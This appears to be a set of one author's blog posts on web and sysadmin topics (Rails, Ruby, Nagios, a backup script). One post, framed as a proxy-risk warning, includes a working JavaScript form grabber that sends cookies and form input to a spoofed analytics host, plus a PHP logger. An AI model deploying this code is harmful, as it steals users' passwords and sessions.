Although I just started on it, and haven’t seen all the goodness, one thing that raised my eyebrows is how static content a la CSS and JavaScript is handled, through an asset pipeline.

In a nutshell, since I’m doing the JQuery bit of the site now, wouldn’t it make much more sense to fetch the libraries from CDN’s, cache the remaining recurring libraries in Nginx (or Apache), and leaving the page specific bits in one big <script> tag, instead of pushing all in a bloated application.js page?

Then again, although I think Rails was what the web community needed, I always had my ideas about frameworks.

Thanks,
Michael

The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.

“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.

For this, you’d need only 2 files:

• Javascript keylogger
• PHP backend script

This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:

var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});

Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).

The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.

  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);

Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:

  apt-get install php-pear
  pear install Services_JSON

To verify this, you will see a JSON entry in the phpinfo() output.

When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:

on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
name : user
pass : secret1552
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :

No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different.

Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.

Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.

Thank you,
Michael

PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.

In Ruby on Rails, to have this identifier available for you, you need to put <%= csrf_meta_tag %> in your view, usually in app/views/layouts/application.html.erb. This tag creates something like:

<meta name=”csrf-param” content=”authenticity_token”/>
<meta name=”csrf-token” content=”uDDuQj14CCJ…”>

If you create your own AJAX functions, say with JQuery, you would need these values in order to have rails handle your request. This can be done using the following:

var param = $(‘meta[name=csrf-token]‘).attr(‘content’);

Which you can use then in your AJAX requests

$.post(‘/post’, { body: $(‘#post_body’).val(), authenticity_token: param }, function(data){
var ret = jQuery.parseJSON(data);
if(ret.status==”ok”) {
…

    j = points.size -1

is not equal to

    j = points.size - 1

Wouldn’t it be easier if Parentheses were mandatory, so that we could see the difference between:

    j = points.size -1

and

    j = points.size(-1)

FacebookError: OAuthException – Invalid OAuth access token

This is often thrown because the Access Token could contain a | (pipe) character, which gets encoded to %7C, and this makes HyperGraph choke a bit. So a simple gsub(‘%7C’,'|’) will solve it, such as the code below:

at = HyperGraph.get_access_token(FB_ID, FB_SECRET, FB_RET, code)
at = at.gsub(‘%7C’,'|’)
g = HyperGraph.new(at)
me = g.get(‘me’)

Thanks,
Michael

We are in the process of changing the monitoring system on part of our network from Zenoss to Nagios. This is not a Zenoss vs. Nagios debate, as both products are awesome and do the things they are designed for very well. We (Christian and myself) use a combination of Cacti for bandwith monitoring and Zenoss for server and device monitoring. Now, recently we decided to change the latter to Nagios. It is know for its “great deal of flexibility when integrating Nagios into their environment” (Galstad, 2005)

As Zenoss was configured using SNMP Informant to grab information about the MS Windows servers (available disk space, CPU load, etc) and Nagios uses NSClient++; one of the time consuming tasks was getting the client on the server (thank you domain ) and configuring each and every server on the Nagios server. I guess there should be some sort of discovery tool for Nagios, but I couldn’t directly find one.

In order to tackle the copy-pasting for a few dozen config files, and to brush up my bash scripting again, I wrote the Nagios Nsclient++ cfg maker, yeah, what’s in a name eh. This client enumerates the target server about what is installed and makes a CFG file based on that. Oh yeah, we’re using nagios with its text files, not the SQL version.

You can download it here (bash script). As it’s GPL’d, feel free to change and redistribute it. As we mainly house HP servers, APC UPS’s and most of them run Windows (for now, evil laugh), so it’s a bit windows/hp minded.

The syntax is very easy, just run the script with the hostname of the server that you want to “enumerate”. Doing that, you’ll have something similar as the output below:

mike@mon:/usr/local/nagios/etc/servers$ ./nnscfgmaker.sh server2
Nagios NSclient++ (check_nt) CFG maker

 + logfile: server2.cfg
 + pinging the server.. ok
 + checking of nsclient++ is installed
 + adding hdd c:\
 + adding hdd e:\
 + adding hdd f:\
 + adding hdd g:\
 + adding hdd h:\
 + adding hdd i:\
 + adding process: MS SQL Server (sqlservr.exe)
 + adding service: Automatic Updates (wuauserv)
 + adding service: DNS Client (DNSCache)
 + adding service: Event Log (Eventlog)
 + adding service: Messenger (Messenger)
 + adding service: Server Service (lanmanserver)
 + adding service: Windows Time (w32time)
 + adding service: SNMP service (SNMP)
 + adding service: HP OpenView Ctrl Service (ovctrl)
 + adding service: Backup Exec Server (BackupExecRPCService)
 + adding service: HP Insight Server Agent (CqMgServ)
 + adding service: HP Insight NIC Agent (CpqNicMgmt)
 + adding service: HP Insight Storage Agent (CqMgStor)
 + adding service: TrendMicro OfficeScan NT Listener (tmlisten)
 + adding service: Trendmicro Antivirus RealTime Scan (ntrtscan)
 - done

mike@mon:/usr/local/nagios/etc/servers$

This creates a files called server2.cfg, which Nagios can read and process.

Hope you like it, let me know if you have any questions or comments.

Take care,
Michael

Ethan Galstad (2005), Nagios. [online] Available from: http://archive.fosdem.org/2005/index/interviews/interviews_galstad.html (Accessed: 28 Jan 2010)

Say, you are tagging car pictures on a website, and have the following:

image1.jpg -> ["honda","s2000","convertible","black"]
image2.jpg -> ["honda","civic","blue"]
image3.jpg -> ["lexus","is300","blue"]
image4.jpg -> ["s2000","honda","convertible","silver"]
image5.jpg -> ["toyota","starlet","black"]

Seeing this, you’d know that image1.jpg and image4.jpg are similar pictures. Or rather “more similar” than , say, image1.jpg and image3.jpg. For this, I wrote below snippet of code. This goes in the model file, and can be called as “object.similar”. It returns an array of similar “things”, sorted on most similar to less similar (hence the results.reverse at the end)

For example:

  img = Image.find(params[:id])
  @similar_images = img.similar[0..10]

Will give you the 10 “most similar” images as img. Well, it gives you the files with the most similar tags.

def similar
  tags = self.tags
  results = []
  tags.each do |tag|
    results = results + tag.pictures # or tag.things, tag.products, ...
    results.delete(self)
  end

  # make array into hash
  h = Hash.new
  results.each do |r|
    h[r] = h[r].to_i + 1
  end

  # sort on values
  tmp = h.sort {|a,b| a[1]<=>b[1]}
  results = []
  tmp.each do |t|
    results << t[0]
  end

  results.reverse # return all items, products, ...
end

This was written for a new project coming up, and will be used to do better "similarities matching" for places.ae, though for the latter we also had to sort on distance. (For it's vicinity)

This is on a mail server, where emails are stored in MailDir format. We create weekly full backups on sunday, and daily incremental. This script is called daily at night from a cron job. Gotta love the scripting abilities of bash.

It might help you out, so here goes:

#!/bin/bash
# backup script is doing following items
# dump all incremental email into a backup file, gzip the backup file and
# move the file to an external file server

START_TIME=`/bin/date`
echo "backup started at: ${START_TIME}"

DOW_N=`/bin/date +"%w"` # number, 0 (sun), 1 (mon)
DOW_T=`/bin/date +"%F"`

TO_BACKUP="/opt/maildata/"
TEMP_FILE="/tmp/${DOW_T}_mail_backup.tar"
BACKUP_LOG="/tmp/mail.backup"
FILE_SERVER="/mnt/fileserver/" # mounted over SMB

# if it's a sunday, delete the incremental file and take a full backup
if [ ${DOW_N} -eq "0" ]; then
  /bin/rm ${BACKUP_LOG}
fi

/bin/tar -c -f ${TEMP_FILE} --listed-incremental=${BACKUP_LOG} ${TO_BACKUP}
/bin/gzip -f ${TEMP_FILE}
FILE_SIZE=`/bin/ls -lah ${TEMP_FILE}.gz | awk '{ print $5 }'`
/bin/mv ${TEMP_FILE}.gz ${FILE_SERVER}

## report, this goes in an email through cron
END_TIME=`/bin/date`; export END_TIME
echo "backup ended at: ${END_TIME}"
echo "data moved: ${FILE_SIZE}"